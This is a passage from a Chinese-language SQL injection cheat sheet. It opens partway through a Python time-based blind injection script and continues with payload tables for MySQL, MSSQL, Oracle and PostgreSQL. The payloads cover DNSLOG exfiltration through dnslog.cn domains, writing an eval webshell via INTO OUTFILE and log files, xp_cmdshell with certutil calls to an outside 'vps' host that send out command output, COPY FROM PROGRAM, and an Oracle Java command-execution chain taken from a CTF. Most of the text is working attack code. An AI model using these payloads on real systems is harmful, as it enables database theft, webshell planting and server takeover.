# 核心payload: if(条件,sleep(1),1)
payload = f" and if(length({sql_expr})>{mid},sleep({SLEEP_SEC}),1)-- "
if is_true(payload):
left = mid + 1
else:
right = mid -1
print(f"[+] 猜得长度 = {left}")
return left
def guess_content(sql_expr: str, length: int) -> str:
"""二分逐位猜ASCII字符"""
print(f"\n[*] 开始逐位猜解,总长度 {length}")
res = ""
min_ascii, max_ascii = 32, 126
for pos in range(1, length+1):
left, right = min_ascii, max_ascii
while left <= right:
mid = (left + right) //2
payload = f" and if(ascii(substr({sql_expr},{pos},1))>{mid},sleep({SLEEP_SEC}),1)-- "
if is_true(payload):
left = mid + 1
else:
right = mid -1
if min_ascii <= left <= max_ascii:
res += chr(left)
else:
res += "?"
print(f"\r进度 {pos}/{length} | {res}", end="")
print()
print(f"[+] 结果:{res}")
return res
if __name__ == "__main__":
# 示例1:猜当前数据库名
db_expr = "database()"
db_len = guess_length(db_expr)
db_name = guess_content(db_expr, db_len)
# 示例2:猜表名(取消注释使用)
# table_expr = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)"
# tbl_len = guess_length(table_expr)
# tbl_name = guess_content(table_expr, tbl_len)
# 示例3:猜字段值
# val_expr = "(select password from users limit 0,1)"
# val_len = guess_length(val_expr)
# val_data = guess_content(val_expr, val_len)
套用修改步骤
- 修改
BASE_URL、METHOD、PARAMS/DATA,和你的注入点匹配 - 字符串注入记得加单引号
- 例:
PARAMS={"id":"1'"},payload 前缀变成' and if(...,sleep(1),1)--
- 例:
- 调整SLEEP_SEC和TIME_THRESHOLD
- 网络慢:sleep 设 1.5,阈值调到 1.0
- 网络好:sleep=0.8,阈值 0.6
📌 MySQL 时间盲注核心 Payload 说明
1
if( 条件 , sleep(1) , 1 )
- 条件为真:执行
sleep(1)→ 页面延迟 1s 返回 - 条件为假:直接返回,不延时
其他数据库延时函数替换(如果不是 MySQL)
- MSSQL:
WAITFOR DELAY '00:00:01',payload 用if(条件,WAITFOR DELAY '00:00:01',1) - Oracle:
DBMS_LOCK.SLEEP(1)
⚠️ 踩坑提醒
- 不要 sleep 设置太大,否则跑的极慢;也不能太小,容易被网络波动误判真假
- 网络抖动、WAF、服务器负载会干扰时间判断,建议多测几次基准响应时间
- 注释符:
--、--+、#根据环境切换 - 有些环境不能用 sleep,可以用benchmark替代(替代 payload 示例)
1
and if(ascii(substr(database(),1,1))>100,benchmark(1000000,md5('test')),1)--
DNSLOG 外带注入(无回显但可出 DNS)
原理:把数据编码成域名前缀,利用数据库触发 DNS 解析,在 DNSLOG 平台的解析记录里读到数据。比时间盲注快几个数量级,是无回显不出网场景的神器。(注:DNSlog 只适合 TCP 出不去外网,但 UDP53 (DNS) 可以出去 的场景。如果服务器DNS 请求也发不出去,DNSlog 也失效)
| 数据库 | Payload | 条件 |
|---|---|---|
| MySQL | and load_file(concat('\\\\',hex(database()),'.xxxx.dnslog.cn\\abc')) | 仅 Windows(UNC 路径触发 DNS);secure_file_priv 为空 |
| MSSQL | ;exec master..xp_dirtree '\\'+db_name()+'.xxxx.dnslog.cn\a'-- | 堆叠 + xp_dirtree 可用(权限要求低) |
| Oracle | and utl_inaddr.get_host_address((select user from dual)||'.xxxx.dnslog.cn') is not null-- | utl_inaddr 包可用 |
| PostgreSQL | ;copy (select '') to program 'nslookup '||version()||'.xxxx.dnslog.cn'-- | 超级用户(9.3+),已属命令执行 |
常用平台:dnslog.cn、ceye.io、dig.pm、Burp Collaborator、自建 DNS 服务器。数据含特殊字符时先 hex() 或 base64 编码再拼接。
HTTP Header / Cookie 注入
| 位置 | 出现场景 | 测试方式 |
|---|---|---|
User-Agent | 访问统计、设备识别功能把 UA 入库 | Burp 改 UA 为 ' and updatexml(...)--+(sqli-labs Less-18) |
Referer | 来源统计入库 | 同上(Less-19) |
X-Forwarded-For | 记录”真实 IP”的日志功能 | 伪造 XFF 注入;同时可测 IP 白名单逻辑 |
| Cookie | $_REQUEST 合并取值、登录态记录 | Burp 改 Cookie 值,同 GET 一样测(Less-20) |
排序注入
原始 SQL 大概长这样:
1
select * from table order by 【用户可控的sort参数】;
ORDER BY 后的列名不能用预编译占位符,开发普遍直接拼接 ?sort=xxx。该位置不能用 union(语法上 order by 在 union 之后),只能布尔/时间/报错
1
2
3
4
5
6
7
8
9
10
# 布尔型:排序顺序变化即条件为真
?sort=(case when (ascii(substr(database(),1,1))>100) then id else username end)
?sort=rand(ascii(substr(database(),1,1))>100) # rand(真/假) 决定两种排序
# 报错型
?sort=updatexml(1,concat(0x7e,(select database())),1)
?sort=(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
# 时间型
?sort=if(ascii(substr(database(),1,1))>100,sleep(3),1)
INSERT / UPDATE / DELETE 注入
| 语句 | 出现位置 | 原始sql | Payload 要点 |
|---|---|---|---|
| INSERT | 注册、留言、下单 | INSERT INTO users(username,password) VALUES(‘$username’,’$password’); | VALUES 内闭合,用 ' or 报错函数 or ' 保持成对引号:test' or updatexml(1,concat(0x7e,database()),1) or '1'='1(sqli-labs Less-16 类) |
| UPDATE | 资料修改、密码修改 | UPDATE users SET email=’$email’ WHERE id=1; | SET 或 WHERE 位置同构:' or extractvalue(1,concat(0x7e,user())) or ' |
| DELETE | 删除留言/文章 | DELETE FROM message WHERE id=$id; | WHERE 条件位置,手法与 SELECT 注入完全一致;测试时务必用低危条件,别把表删空 |
⚠️ 高危提醒:
UPDATE 一旦注入写or 1=1,会更新全表所有用户数据,直接批量改所有人密码!靶场测试一定要小心。
DELETE:不要直接写or 1=1(会删除整张表所有记录)
可以用时间盲注来测试验证:
1
if(ascii(substr(database(),1,1))>100,sleep(3),1)
文件读写与权限提升
MySQL:load_file / into outfile / 日志写 shell
四大必要条件:
| 条件 | 说明 |
|---|---|
| FILE 权限 | 当前账号具备 FILE 权限(root 默认有);查询语句:select file_priv from mysql.user where user=current_user |
secure_file_priv | 空值=不限制路径;NULL=完全禁用读写;具体路径=只能读写该目录(MySQL 5.7.6+ 默认有值,实战常因此失败) |
| 路径已知 | 写 shell 需知道站点绝对路径;来源:报错信息、phpinfo、@@datadir 推算、默认路径字典(D:/phpStudy/WWW/…) |
| 目标文件不存在 | into outfile 不能覆盖已存在文件;目录需可写 |
利用方式:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 读文件(页面回显或 union 显位输出,建议 hex 防乱码)
?id=-1' union select 1,hex(load_file('C:/Windows/win.ini')),3--+
?id=-1' union select 1,load_file('/etc/passwd'),3--+
# 写 shell(一句话木马,靶场/授权环境专用)
?id=-1' union select 1,'<?php @eval($_POST[1]);?>',3 into outfile 'D:/phpStudy/WWW/shell.php'--+
# 写不了 outfile 时:dumpfile 适合写二进制(UDF 提权写 dll 用)
# 日志写 shell(secure_file_priv 限制 outfile 时的备用路线,需 root)
?id=1';set global general_log=on--+
?id=1';set global general_log_file='D:/phpStudy/WWW/logshell.php'--+
?id=1';select '<?php @eval($_POST[1]);?>'--+ #3 执行select,让查询语句写入日志,木马就写进去了
# 慢查询日志 slow_query_log 同理
# UDF 提权(root + 能写 plugin 目录):上传 udf.dll 后
create function sys_exec returns string soname 'udf.dll';
select sys_exec('whoami');
MSSQL:xp_cmdshell 与组件利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 判断权限:注入点直接执行(查询当前数据库账号是不是 sysadmin 管理员)
?id=1' and 1=(select is_srvrolemember('sysadmin'))--+
# 开启 xp_cmdshell(需 sysadmin,堆叠执行)
?id=1';exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;--
?id=1';exec master..xp_cmdshell 'whoami';--
# 回显不了就走外带
?id=1';exec master..xp_cmdshell 'certutil -urlcache -split -f http://vps/1.txt';--
把 whoami 结果 GET 带出来
?id=1';exec master..xp_cmdshell 'whoami > c:\windows\temp\res.txt && certutil -urlcache -split -f http://vpsip/?res=`type c:\windows\temp\res.txt`';--
# sp_oacreate 写文件(无 xp_cmdshell 时的替代)
?id=1';declare @o int;exec sp_oacreate 'scripting.filesystemobject',@o out;
exec sp_oamethod @o,'createtextfile',null,'C:/inetpub/wwwroot/x.txt',1;--
MSSQL 注入的完整利用链(权限判断 → 组件开启 → 命令执行 → 外带)
MSSQL 默认支持堆叠,MySQL 默认不支持
Oracle / PostgreSQL 提权速览
| 数据库 | 能力 |
|---|---|
| Oracle | utl_file 读写文件(需目录对象权限);Java 存储过程 / dbms_scheduler 执行系统命令(需高权限);注入点本身多为低权限,实战以拖数据为主 |
| PostgreSQL | copy (select '...') to '/var/www/html/x.php' 写文件;copy t from program 'id' 命令执行(9.3+,需超级用户);lo_import/lo_export 大对象读写文件,当 copy 写文件被限制时的备选方案;pg_read_file() 读文件 |
copy t from program 'id' 执行系统命令
1
2
3
4
-- 把id命令输出读到表t,然后查询表获取结果
create table t(out text);
copy t from program 'id';
select * from t;
from program 允许直接调用操作系统程序,直接执行系统命令,类似 MSSQL 的 xp_cmdshell。
pg_read_file () 读文件:
1
select pg_read_file('/etc/passwd',0,1000);
oracle注入示例(春秋云镜的无间计划flag2)
Oracle 版本:10g/11g 最常见这个利用;新版 12c + 加固,很难复现
背景:Oracle 内置 JVM(OJVM),DBA 权限下可以创建 Java 源码 → 封装 Java 函数 → 在 Oracle 里调用 Java 代码执行系统命令,是经典老版本 Oracle 拿 shell 手法。
第 1 步:创建 Java 源码 LinxUtil
1
2
3
4
5
6
7
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin
execute immediate ''create or replace and compile java source named "LinxUtil" as import
java.io.*; public class LinxUtil extends Object {public static String runCMD(String args)
{try{BufferedReader myReader= new BufferedReader(new InputStreamReader(
Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp =
myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch
(Exception e){return e.toString();}}}'';commit;end;') from dual)>1 --
一句话:往 Oracle 数据库里上传一段能执行系统命令的 Java 代码。
第 2 步:提权(dbms_cdc_publish 权限提升)
1
2
3
4
admin' AND (SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin
execute immediate '' begin sys.dbms_cdc_publish.create_change_set(''''
a'''',''''a'''',''''a''''''''||TEST.pwn()||''''''''a'''',''''Y'''',s
ysdate,sysdate);end;''; commit; end;') from dual)>1--
这一步是权限绕过 / 提升,老 Oracle 版本漏洞,用来给刚创建的 Java 代码授予执行操作系统命令的权限。 Oracle 里 Java 默认有沙箱限制,不授权的话 Java 不能调用 Runtime.exec 执行系统命令
第3 步:创建 PL/SQL 包装函数 LINXRUNCMD
1
2
3
4
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin
execute immediate ''create or replace function LINXRUNCMD(p_cmd in varchar2) return
varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''
'';commit;end;') from dual)>1--
把刚才编译好的 Java 类方法 LinxUtil.runCMD 封装成Oracle 自定义函数 LINXRUNCMD。
第 4 步:验证函数是否创建成功(Union 查询)
1
2
admin' union select null,(select object_name from all_objects where object_name
='LINXRUNCMD' and rownum=1), null from dual--
all_objects 是 Oracle 系统视图,记录所有对象(函数、存储过程、java 源码) 如果页面返回 LINXRUNCMD,代表函数创建成功。
第 5 步:验证 Java 源码对象存在
1
2
admin' union select null,(select object_name from all_objects where object_name
='LinxUtil'),null from dual--
检查 Java 源码对象 LinxUtil 是否编译成功。
第 6 步:执行系统命令
1
admin' union select null,(select LINXRUNCMD('whoami') from dual),null from dual--
注入点权限自查清单
1
2
3
4
5
6
7
8
-- MySQL:当前用户、是否 root、FILE 权限
select user();
select file_priv from mysql.user where user=substr(current_user,1,instr(current_user,'@')-1);
select super_priv from mysql.user where user='root'@'localhost';
-- MSSQL
select is_srvrolemember('sysadmin'); -- 1 = 是
-- PostgreSQL
select current_user; select usesuper from pg_user where usename=current_user;
五大数据库注入对照表
| 特性 | MySQL | MSSQL | Oracle | PostgreSQL | SQLite |
|---|---|---|---|---|---|
| 注释符 | # -- /**/ /*!*/ | -- /* */ | -- /* */ | -- /* */ | -- /* */ |
| 字符串拼接 | concat() concat_ws() | + | || | || | || |
| 当前库 | database() | db_name() | sys_context('USERENV','DB_NAME') from dual | current_database() | 无(单文件即库) |
| 当前用户 | user() | suser_sname() | user from dual | current_user | 无 |
| 版本 | version() @@version | @@version | banner from v$version | version() | sqlite_version() |
| 延时函数 | sleep() benchmark() | waitfor delay '0:0:5' | dbms_pipe.receive_message('a',5) | pg_sleep(5) 大查询 | randomblob(1e8) |
| 元数据 | information_schema.* | information_schema.* sysobjects/syscolumns | all_tables all_tab_columns user_tables | information_schema pg_catalog | sqlite_master |
| 读文件 | load_file() | openrowset(bulk) xp_cmdshell type | utl_file | pg_read_file() copy from | 无 |
| 写文件 | into outfile/dumpfile 日志 | xp_cmdshell / sp_oacreate / 备份 | utl_file | copy ... to lo_export | attach database 建库即建文件 |
| 命令执行 | UDF 提权 | xp_cmdshell | Java / dbms_scheduler | copy from program(9.3+) | 无 |
| 堆叠 | 需 multi_query | 天然支持 | 需 PL/SQL 块 | 多数驱动支持 | 多数驱动支持 |
| DNS 外带 | load_file UNC(Win) | xp_dirtree | utl_inaddr | dblink / copy program | 无 |